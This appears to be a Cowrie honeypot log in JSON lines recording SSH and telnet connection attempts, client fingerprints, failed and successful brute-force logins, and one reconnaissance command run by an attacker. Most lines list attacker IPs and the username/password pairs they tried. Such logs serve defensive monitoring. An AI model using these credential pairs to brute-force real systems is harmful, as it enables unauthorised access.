{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:36:46.709645Z","src_ip":"160.187.174.22","session":"e9475bb7a547","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":49742,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9218bbd3608","protocol":"telnet","message":"New connection: 170.64.224.25:49742 (159.203.135.109:23) [session: b9218bbd3608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:36:53.691059Z"}
{"eventid":"cowrie.session.closed","duration":55.018643856048584,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:37:01.545892Z","src_ip":"170.64.224.25","session":"7e1f55d0946c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":55412,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b2cbe9250d5","protocol":"ssh","message":"New connection: 160.187.174.22:55412 (159.203.135.109:22) [session: 6b2cbe9250d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:37:11.131870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:37:11.136541Z","src_ip":"160.187.174.22","session":"6b2cbe9250d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:37:11.367587Z","src_ip":"160.187.174.22","session":"6b2cbe9250d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"123456","message":"login attempt [elastic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:37:12.073755Z","src_ip":"160.187.174.22","session":"6b2cbe9250d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:37:13.311147Z","src_ip":"160.187.174.22","session":"6b2cbe9250d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":46888,"dst_ip":"159.203.135.109","dst_port":23,"session":"65e03fd8283e","protocol":"telnet","message":"New connection: 170.64.224.25:46888 (159.203.135.109:23) [session: 65e03fd8283e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:37:18.497929Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":38582,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa9312aa53f2","protocol":"telnet","message":"New connection: 170.64.224.25:38582 (159.203.135.109:23) [session: aa9312aa53f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:37:31.417108Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":57870,"dst_ip":"159.203.135.109","dst_port":22,"session":"5402abf85a35","protocol":"ssh","message":"New connection: 160.187.174.22:57870 (159.203.135.109:22) [session: 5402abf85a35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:37:38.178196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:37:38.182616Z","src_ip":"160.187.174.22","session":"5402abf85a35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:37:38.437229Z","src_ip":"160.187.174.22","session":"5402abf85a35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.77996611595154,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:37:38.470885Z","src_ip":"170.64.224.25","session":"b9218bbd3608","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx","message":"login attempt [root/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:37:39.206132Z","src_ip":"160.187.174.22","session":"5402abf85a35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:37:40.456992Z","src_ip":"160.187.174.22","session":"5402abf85a35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.155.138","src_port":46458,"dst_ip":"10.17.0.5","dst_port":22,"session":"23c25f3b8bc4","protocol":"ssh","message":"New connection: 132.148.155.138:46458 (10.17.0.5:22) [session: 23c25f3b8bc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:37:48.720051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:37:48.724378Z","src_ip":"132.148.155.138","session":"23c25f3b8bc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:37:48.789363Z","src_ip":"132.148.155.138","session":"23c25f3b8bc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"matrixportapp","password":"matrixport123","message":"login attempt [matrixportapp/matrixport123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:37:48.990260Z","src_ip":"132.148.155.138","session":"23c25f3b8bc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:37:50.057669Z","src_ip":"132.148.155.138","session":"23c25f3b8bc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.190.216.105","src_port":55858,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a6fb779cea5","protocol":"ssh","message":"New connection: 172.190.216.105:55858 (10.17.0.5:22) [session: 0a6fb779cea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:37:56.360018Z"}
{"eventid":"cowrie.session.closed","duration":40.31369113922119,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:37:58.811498Z","src_ip":"170.64.224.25","session":"65e03fd8283e","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:37:58.823440Z","src_ip":"172.190.216.105","session":"0a6fb779cea5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.113","src_port":33168,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6fba08968ab","protocol":"ssh","message":"New connection: 209.99.190.113:33168 (10.17.0.5:22) [session: f6fba08968ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:01.367096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:01.371778Z","src_ip":"209.99.190.113","session":"f6fba08968ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:01.474321Z","src_ip":"209.99.190.113","session":"f6fba08968ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"123","message":"login attempt [deployer/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:01.928006Z","src_ip":"209.99.190.113","session":"f6fba08968ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:03.041958Z","src_ip":"209.99.190.113","session":"f6fba08968ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":52270,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d7eb35ad240","protocol":"ssh","message":"New connection: 160.187.174.22:52270 (159.203.135.109:22) [session: 7d7eb35ad240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:04.337281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:04.344559Z","src_ip":"160.187.174.22","session":"7d7eb35ad240","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:04.577222Z","src_ip":"160.187.174.22","session":"7d7eb35ad240","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:05.276577Z","src_ip":"160.187.174.22","session":"7d7eb35ad240","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:05.539763Z","src_ip":"172.190.216.105","session":"0a6fb779cea5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:05.781744Z","src_ip":"160.187.174.22","session":"7d7eb35ad240","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:05.783997Z","src_ip":"160.187.174.22","session":"7d7eb35ad240","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:06.024093Z","src_ip":"160.187.174.22","session":"7d7eb35ad240","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:06.027882Z","src_ip":"160.187.174.22","session":"7d7eb35ad240","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.05832362174988,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:06.475324Z","src_ip":"170.64.224.25","session":"aa9312aa53f2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"amazon123","message":"login attempt [root/amazon123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:07.370931Z","src_ip":"172.190.216.105","session":"0a6fb779cea5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.0","message":"Connection lost after 12.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:08.406148Z","src_ip":"172.190.216.105","session":"0a6fb779cea5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"99.252.20.159","src_port":53672,"dst_ip":"159.203.135.109","dst_port":22,"session":"92ba16c1a705","protocol":"ssh","message":"New connection: 99.252.20.159:53672 (159.203.135.109:22) [session: 92ba16c1a705]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:11.909147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:11.912281Z","src_ip":"99.252.20.159","session":"92ba16c1a705","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:11.945236Z","src_ip":"99.252.20.159","session":"92ba16c1a705","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"okx456","message":"login attempt [root/okx456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:12.033342Z","src_ip":"99.252.20.159","session":"92ba16c1a705","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:13.068217Z","src_ip":"99.252.20.159","session":"92ba16c1a705","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":57722,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcb4dd3a16fb","protocol":"telnet","message":"New connection: 170.64.224.25:57722 (159.203.135.109:23) [session: fcb4dd3a16fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:27.468810Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.22.174","src_port":55066,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6c957fb205e","protocol":"ssh","message":"New connection: 162.214.22.174:55066 (10.17.0.5:22) [session: f6c957fb205e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:32.333992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:32.336807Z","src_ip":"162.214.22.174","session":"f6c957fb205e","protocol":"ssh"}
